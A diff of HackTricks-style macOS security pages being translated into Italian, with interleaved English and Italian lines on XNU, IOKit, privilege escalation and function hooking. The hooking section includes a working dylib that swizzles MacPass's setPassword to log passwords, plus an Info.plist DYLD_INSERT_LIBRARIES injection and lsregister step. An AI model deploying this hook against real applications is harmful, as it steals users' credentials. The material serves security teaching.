Being able to **create a file** that is going to be **used by root**, allows a user to **take advantage of its content** or even create **symlinks/hardlinks** to point it to another place.
Essere in grado di **creare un file** che sarà **utilizzato da root** consente a un utente di **sfruttare il suo contenuto** o persino creare **symlink/hardlink** per puntarlo in un altro posto.
For this kind of vulnerabilities don't forget to **check vulnerable `.pkg` installers**:
Per questo tipo di vulnerabilità non dimenticare di **controllare gli installer `.pkg` vulnerabili**:
{{#ref}}
macos-files-folders-and-binaries/macos-installers-abuse.md
{{#endref}}
### File Extension & URL scheme app handlers
### Gestori di App per Estensioni di File e Schemi URL
Weird apps registered by file extensions could be abused and different applications can be register to open specific protocols
App strane registrate da estensioni di file potrebbero essere abusate e diverse applicazioni possono essere registrate per aprire protocolli specifici
{{#ref}}
macos-file-extension-apps.md
{{#endref}}
## macOS TCC / SIP Privilege Escalation
## Escalation dei Privilegi TCC / SIP di macOS
In macOS **applications and binaries can have permissions** to access folders or settings that make them more privileged than others.
In macOS, **le applicazioni e i binari possono avere permessi** per accedere a cartelle o impostazioni che li rendono più privilegiati di altri.
Therefore, an attacker that wants to successfully compromise a macOS machine will need to **escalate its TCC privileges** (or even **bypass SIP**, depending on his needs).
Pertanto, un attaccante che desidera compromettere con successo una macchina macOS dovrà **escalare i suoi privilegi TCC** (o persino **bypassare SIP**, a seconda delle sue necessità).
These privileges are usually given in the form of **entitlements** the application is signed with, or the application might requested some accesses and after the **user approving them** they can be found in the **TCC databases**. Another way a process can obtain these privileges is by being a **child of a process** with those **privileges** as they are usually **inherited**.
Questi privilegi sono solitamente concessi sotto forma di **diritti** con cui l'applicazione è firmata, oppure l'applicazione potrebbe richiedere alcuni accessi e dopo che il **utente li approva**, possono essere trovati nei **database TCC**. Un altro modo in cui un processo può ottenere questi privilegi è essendo un **figlio di un processo** con quei **privilegi**, poiché di solito sono **ereditati**.
Follow these links to find different was to [**escalate privileges in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), to [**bypass TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) and how in the past [**SIP has been bypassed**](macos-security-protections/macos-sip.md#sip-bypasses).
Segui questi link per trovare diversi modi per [**escalare i privilegi in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), per [**bypassare TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) e come in passato [**SIP è stato bypassato**](macos-security-protections/macos-sip.md#sip-bypasses).
## macOS Traditional Privilege Escalation
## Escalation Tradizionale dei Privilegi di macOS
Of course from a red teams perspective you should be also interested in escalating to root. Check the following post for some hints:
Certo, dal punto di vista di un red team, dovresti essere anche interessato a escalare a root. Controlla il seguente post per alcuni suggerimenti:
{{#ref}}
macos-privilege-escalation.md
{{#endref}}
## macOS Compliance
## Conformità di macOS
- [https://github.com/usnistgov/macos_security](https://github.com/usnistgov/macos_security)
## References
## Riferimenti
- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
@ -132,19 +117,4 @@ macos-privilege-escalation.md
- [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
- [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,36 +4,36 @@
## XNU Kernel
The **core of macOS is XNU**, which stands for "X is Not Unix". This kernel is fundamentally composed of the **Mach microkerne**l (to be discussed later), **and** elements from Berkeley Software Distribution (**BSD**). XNU also provides a platform for **kernel drivers via a system called the I/O Kit**. The XNU kernel is part of the Darwin open source project, which means **its source code is freely accessible**.
Il **nucleo di macOS è XNU**, che sta per "X is Not Unix". Questo kernel è fondamentalmente composto dal **microkernel Mach** (di cui si parlerà più avanti), **e** elementi dalla Berkeley Software Distribution (**BSD**). XNU fornisce anche una piattaforma per **driver del kernel tramite un sistema chiamato I/O Kit**. Il kernel XNU fa parte del progetto open source Darwin, il che significa che **il suo codice sorgente è liberamente accessibile**.
From a perspective of a security researcher or a Unix developer, **macOS** can feel quite **similar** to a **FreeBSD** system with an elegant GUI and a host of custom applications. Most applications developed for BSD will compile and run on macOS without needing modifications, as the command-line tools familiar to Unix users are all present in macOS. However, because the XNU kernel incorporates Mach, there are some significant differences between a traditional Unix-like system and macOS, and these differences might cause potential issues or provide unique advantages.
Dal punto di vista di un ricercatore di sicurezza o di uno sviluppatore Unix, **macOS** può sembrare piuttosto **simile** a un sistema **FreeBSD** con un'interfaccia grafica elegante e una serie di applicazioni personalizzate. La maggior parte delle applicazioni sviluppate per BSD si compileranno e funzioneranno su macOS senza necessitare di modifiche, poiché gli strumenti da riga di comando familiari agli utenti Unix sono tutti presenti in macOS. Tuttavia, poiché il kernel XNU incorpora Mach, ci sono alcune differenze significative tra un sistema tradizionale simile a Unix e macOS, e queste differenze potrebbero causare problemi potenziali o fornire vantaggi unici.
Open source version of XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
Versione open source di XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
### Mach
Mach is a **microkernel** designed to be **UNIX-compatible**. One of its key design principles was to **minimize** the amount of **code** running in the **kernel** space and instead allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level tasks**.
Mach è un **microkernel** progettato per essere **compatibile con UNIX**. Uno dei suoi principi di design chiave era **minimizzare** la quantità di **codice** in esecuzione nello **spazio del kernel** e invece consentire a molte funzioni tipiche del kernel, come il file system, il networking e l'I/O, di **eseguire come attività a livello utente**.
In XNU, Mach is **responsible for many of the critical low-level operations** a kernel typically handles, such as processor scheduling, multitasking, and virtual memory management.
In XNU, Mach è **responsabile di molte delle operazioni critiche a basso livello** che un kernel gestisce tipicamente, come la pianificazione dei processori, il multitasking e la gestione della memoria virtuale.
### BSD
The XNU **kernel** also **incorporates** a significant amount of code derived from the **FreeBSD** project. This code **runs as part of the kernel along with Mach**, in the same address space. However, the FreeBSD code within XNU may differ substantially from the original FreeBSD code because modifications were required to ensure its compatibility with Mach. FreeBSD contributes to many kernel operations including:
Il **kernel** XNU **incorpora** anche una quantità significativa di codice derivato dal progetto **FreeBSD**. Questo codice **funziona come parte del kernel insieme a Mach**, nello stesso spazio di indirizzamento. Tuttavia, il codice FreeBSD all'interno di XNU può differire sostanzialmente dal codice FreeBSD originale perché sono state necessarie modifiche per garantire la sua compatibilità con Mach. FreeBSD contribuisce a molte operazioni del kernel, tra cui:
- Process management
- Signal handling
- Basic security mechanisms, including user and group management
- System call infrastructure
- TCP/IP stack and sockets
- Firewall and packet filtering
- Gestione dei processi
- Gestione dei segnali
- Meccanismi di sicurezza di base, inclusa la gestione di utenti e gruppi
- Infrastruttura delle chiamate di sistema
- Stack TCP/IP e socket
- Firewall e filtraggio dei pacchetti
Understanding the interaction between BSD and Mach can be complex, due to their different conceptual frameworks. For instance, BSD uses processes as its fundamental executing unit, while Mach operates based on threads. This discrepancy is reconciled in XNU by **associating each BSD process with a Mach task** that contains exactly one Mach thread. When BSD's fork() system call is used, the BSD code within the kernel uses Mach functions to create a task and a thread structure.
Comprendere l'interazione tra BSD e Mach può essere complesso, a causa dei loro diversi quadri concettuali. Ad esempio, BSD utilizza i processi come unità fondamentale di esecuzione, mentre Mach opera basandosi sui thread. Questa discrepanza è riconciliata in XNU **associando ogni processo BSD a un'attività Mach** che contiene esattamente un thread Mach. Quando viene utilizzata la chiamata di sistema fork() di BSD, il codice BSD all'interno del kernel utilizza le funzioni Mach per creare una struttura di attività e thread.
Moreover, **Mach and BSD each maintain different security models**: **Mach's** security model is based on **port rights**, whereas BSD's security model operates based on **process ownership**. Disparities between these two models have occasionally resulted in local privilege-escalation vulnerabilities. Apart from typical system calls, there are also **Mach traps that allow user-space programs to interact with the kernel**. These different elements together form the multifaceted, hybrid architecture of the macOS kernel.
Inoltre, **Mach e BSD mantengono ciascuno modelli di sicurezza diversi**: il modello di sicurezza di **Mach** si basa sui **diritti di porta**, mentre il modello di sicurezza di BSD opera in base alla **proprietà del processo**. Le disparità tra questi due modelli hanno occasionalmente portato a vulnerabilità di escalation dei privilegi locali. Oltre alle chiamate di sistema tipiche, ci sono anche **trappole Mach che consentono ai programmi in spazio utente di interagire con il kernel**. Questi diversi elementi insieme formano l'architettura ibrida e multifaccettata del kernel macOS.
### I/O Kit - Drivers
The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware.
L'I/O Kit è un framework **per driver di dispositivo** open-source e orientato agli oggetti nel kernel XNU, gestisce **driver di dispositivo caricati dinamicamente**. Consente di aggiungere codice modulare al kernel al volo, supportando hardware diversificato.
{{#ref}}
macos-iokit.md
@ -47,9 +47,9 @@ macos-iokit.md
## macOS Kernel Extensions
macOS is **super restrictive to load Kernel Extensions** (.kext) because of the high privileges that code will run with. Actually, by default is virtually impossible (unless a bypass is found).
macOS è **super restrittivo nel caricare le Kernel Extensions** (.kext) a causa dei privilegi elevati con cui il codice verrà eseguito. In realtà, per impostazione predefinita è praticamente impossibile (a meno che non venga trovato un bypass).
In the following page you can also see how to recover the `.kext` that macOS loads inside its **kernelcache**:
Nella pagina seguente puoi anche vedere come recuperare il `.kext` che macOS carica all'interno del suo **kernelcache**:
{{#ref}}
macos-kernel-extensions.md
@ -57,7 +57,7 @@ macos-kernel-extensions.md
### macOS System Extensions
Instead of using Kernel Extensions macOS created the System Extensions, which offers in user level APIs to interact with the kernel. This way, developers can avoid to use kernel extensions.
Invece di utilizzare le Kernel Extensions, macOS ha creato le System Extensions, che offrono API a livello utente per interagire con il kernel. In questo modo, gli sviluppatori possono evitare di utilizzare le kernel extensions.
{{#ref}}
macos-system-extensions.md

View File

@ -2,54 +2,49 @@
{{#include ../../../banners/hacktricks-training.md}}
## Function Interposing
## Interposizione delle Funzioni
Create a **dylib** with an **`__interpose`** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** that refer to the **original** and the **replacement** functions.
Crea un **dylib** con una sezione **`__interpose`** (o una sezione contrassegnata con **`S_INTERPOSING`**) contenente tuple di **puntatori a funzioni** che si riferiscono alle funzioni **originali** e di **sostituzione**.
Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](../macos-proces-abuse/macos-library-injection/#check-restrictions).&#x20;
Poi, **inietta** il dylib con **`DYLD_INSERT_LIBRARIES`** (l'interposizione deve avvenire prima che l'app principale si carichi). Ovviamente, le [**restrizioni** applicate all'uso di **`DYLD_INSERT_LIBRARIES`** si applicano anche qui](../macos-proces-abuse/macos-library-injection/#check-restrictions).&#x20;
### Interpose printf
### Interponi printf
{{#tabs}}
{{#tab name="interpose.c"}}
```c:interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
int ret = printf("Hello from interpose\n");
return ret;
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```
{{#endtab}}
{{#tab name="hello.c"}}
```c
//gcc hello.c -o hello
#include <stdio.h>
int main() {
printf("Hello World!\n");
return 0;
printf("Hello World!\n");
return 0;
}
```
{{#endtab}}
{{#tab name="interpose2.c"}}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
@ -57,26 +52,24 @@ int main() {
#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
int ret = printf("Hello from interpose\n");
return ret;
}
DYLD_INTERPOSE(my_printf,printf);
```
{{#endtab}}
{{#endtabs}}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
@ -84,24 +77,22 @@ Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
## Method Swizzling
In ObjectiveC this is how a method is called like: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
In ObjectiveC questo è come viene chiamato un metodo: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
It's needed the **object**, the **method** and the **params**. And when a method is called a **msg is sent** using the function **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
È necessario l'**oggetto**, il **metodo** e i **parametri**. E quando un metodo viene chiamato, un **msg viene inviato** utilizzando la funzione **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
The object is **`someObject`**, the method is **`@selector(method1p1:p2:)`** and the arguments are **value1**, **value2**.
L'oggetto è **`someObject`**, il metodo è **`@selector(method1p1:p2:)`** e gli argomenti sono **value1**, **value2**.
Following the object structures, it's possible to reach an **array of methods** where the **names** and **pointers** to the method code are **located**.
Seguendo le strutture degli oggetti, è possibile raggiungere un'**array di metodi** dove i **nomi** e i **puntatori** al codice del metodo sono **localizzati**.
> [!CAUTION]
> Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with `otool -ov </path/bin>` or [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
> Nota che poiché i metodi e le classi vengono accessi in base ai loro nomi, queste informazioni sono memorizzate nel binario, quindi è possibile recuperarle con `otool -ov </path/bin>` o [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
### Accessing the raw methods
It's possible to access the information of the methods such as name, number of params or address like in the following example:
È possibile accedere alle informazioni dei metodi come nome, numero di parametri o indirizzo come nel seguente esempio:
```objectivec
// gcc -framework Foundation test.m -o test
@ -110,71 +101,69 @@ It's possible to access the information of the methods such as name, number of p
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
return 0;
}
```
### Method Swizzling con method_exchangeImplementations
### Method Swizzling with method_exchangeImplementations
The function **`method_exchangeImplementations`** allows to **change** the **address** of the **implementation** of **one function for the other**.
La funzione **`method_exchangeImplementations`** consente di **cambiare** l'**indirizzo** dell'**implementazione** di **una funzione con l'altra**.
> [!CAUTION]
> So when a function is called what is **executed is the other one**.
> Quindi, quando una funzione viene chiamata, ciò che viene **eseguito è l'altra**.
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
@ -192,44 +181,42 @@ The function **`method_exchangeImplementations`** allows to **change** the **add
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
return 0;
}
```
> [!WARNING]
> In this case if the **implementation code of the legit** method **verifies** the **method** **name** it could **detect** this swizzling and prevent it from running.
> In questo caso, se il **codice di implementazione del metodo legittimo** **verifica** il **nome del metodo**, potrebbe **rilevare** questo swizzling e impedirne l'esecuzione.
>
> The following technique doesn't have this restriction.
> La seguente tecnica non ha questa restrizione.
### Method Swizzling with method_setImplementation
### Method Swizzling con method_setImplementation
The previous format is weird because you are changing the implementation of 2 methods one from the other. Using the function **`method_setImplementation`** you can **change** the **implementation** of a **method for the other one**.
Just remember to **store the address of the implementation of the original one** if you are going to to call it from the new implementation before overwriting it because later it will be much complicated to locate that address.
Il formato precedente è strano perché stai cambiando l'implementazione di 2 metodi l'uno con l'altro. Utilizzando la funzione **`method_setImplementation`**, puoi **cambiare** l'**implementazione** di un **metodo con l'altro**.
Ricorda solo di **memorizzare l'indirizzo dell'implementazione di quello originale** se intendi chiamarlo dalla nuova implementazione prima di sovrascriverlo, perché in seguito sarà molto più complicato localizzare quell'indirizzo.
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
@ -246,75 +233,69 @@ static IMP original_substringFromIndex = NULL;
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
return 0;
}
}
```
## Hooking Attack Methodology
In this page different ways to hook functions were discussed. However, they involved **running code inside the process to attack**.
In questa pagina sono stati discussi diversi modi per agganciare funzioni. Tuttavia, comportavano **l'esecuzione di codice all'interno del processo per attaccare**.
In order to do that the easiest technique to use is to inject a [Dyld via environment variables or hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). However, I guess this could also be done via [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
Per fare ciò, la tecnica più semplice da utilizzare è iniettare un [Dyld tramite variabili di ambiente o hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Tuttavia, suppongo che questo possa essere fatto anche tramite [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
However, both options are **limited** to **unprotected** binaries/processes. Check each technique to learn more about the limitations.
Tuttavia, entrambe le opzioni sono **limitati** a **binarie/processi non protetti**. Controlla ciascuna tecnica per saperne di più sulle limitazioni.
However, a function hooking attack is very specific, an attacker will do this to **steal sensitive information from inside a process** (if not you would just do a process injection attack). And this sensitive information might be located in user downloaded Apps such as MacPass.
So the attacker vector would be to either find a vulnerability or strip the signature of the application, inject the **`DYLD_INSERT_LIBRARIES`** env variable through the Info.plist of the application adding something like:
Tuttavia, un attacco di hooking di funzione è molto specifico, un attaccante lo farà per **rubare informazioni sensibili dall'interno di un processo** (se no faresti semplicemente un attacco di iniezione di processo). E queste informazioni sensibili potrebbero trovarsi in app scaricate dall'utente come MacPass.
Quindi il vettore dell'attaccante sarebbe quello di trovare una vulnerabilità o rimuovere la firma dell'applicazione, iniettare la variabile env **`DYLD_INSERT_LIBRARIES`** attraverso l'Info.plist dell'applicazione aggiungendo qualcosa come:
```xml
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
and then **re-register** the application:
e poi **ri-registrare** l'applicazione:
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
Add in that library the hooking code to exfiltrate the information: Passwords, messages...
Aggiungi in quella libreria il codice di hooking per esfiltrare le informazioni: Passwords, messages...
> [!CAUTION]
> Note that in newer versions of macOS if you **strip the signature** of the application binary and it was previously executed, macOS **won't be executing the application** anymore.
#### Library example
> Nota che nelle versioni più recenti di macOS se **rimuovi la firma** del binario dell'applicazione e questa è stata eseguita in precedenza, macOS **non eseguirà più l'applicazione**.
#### Esempio di libreria
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
@ -331,27 +312,26 @@ static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
## References
## Riferimenti
- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)

View File

@ -2,18 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informazioni di base
The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware.
L'I/O Kit è un **framework per driver di dispositivo** open-source e orientato agli oggetti nel kernel XNU, gestisce **driver di dispositivo caricati dinamicamente**. Permette di aggiungere codice modulare al kernel al volo, supportando hardware diversificato.
IOKit drivers will basically **export functions from the kernel**. These function parameter **types** are **predefined** and are verified. Moreover, similar to XPC, IOKit is just another layer on **top of Mach messages**.
I driver IOKit **esporteranno fondamentalmente funzioni dal kernel**. Questi parametri di funzione **tipi** sono **predefiniti** e vengono verificati. Inoltre, simile a XPC, IOKit è solo un altro strato **sopra i messaggi Mach**.
**IOKit XNU kernel code** is opensourced by Apple in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Moreover, the user space IOKit components are also opensource [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
Il **codice IOKit del kernel XNU** è open-source da Apple in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Inoltre, i componenti IOKit dello spazio utente sono anch'essi open-source [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
However, **no IOKit drivers** are opensource. Anyway, from time to time a release of a driver might come with symbols that makes it easier to debug it. Check how to [**get the driver extensions from the firmware here**](./#ipsw)**.**
It's written in **C++**. You can get demangled C++ symbols with:
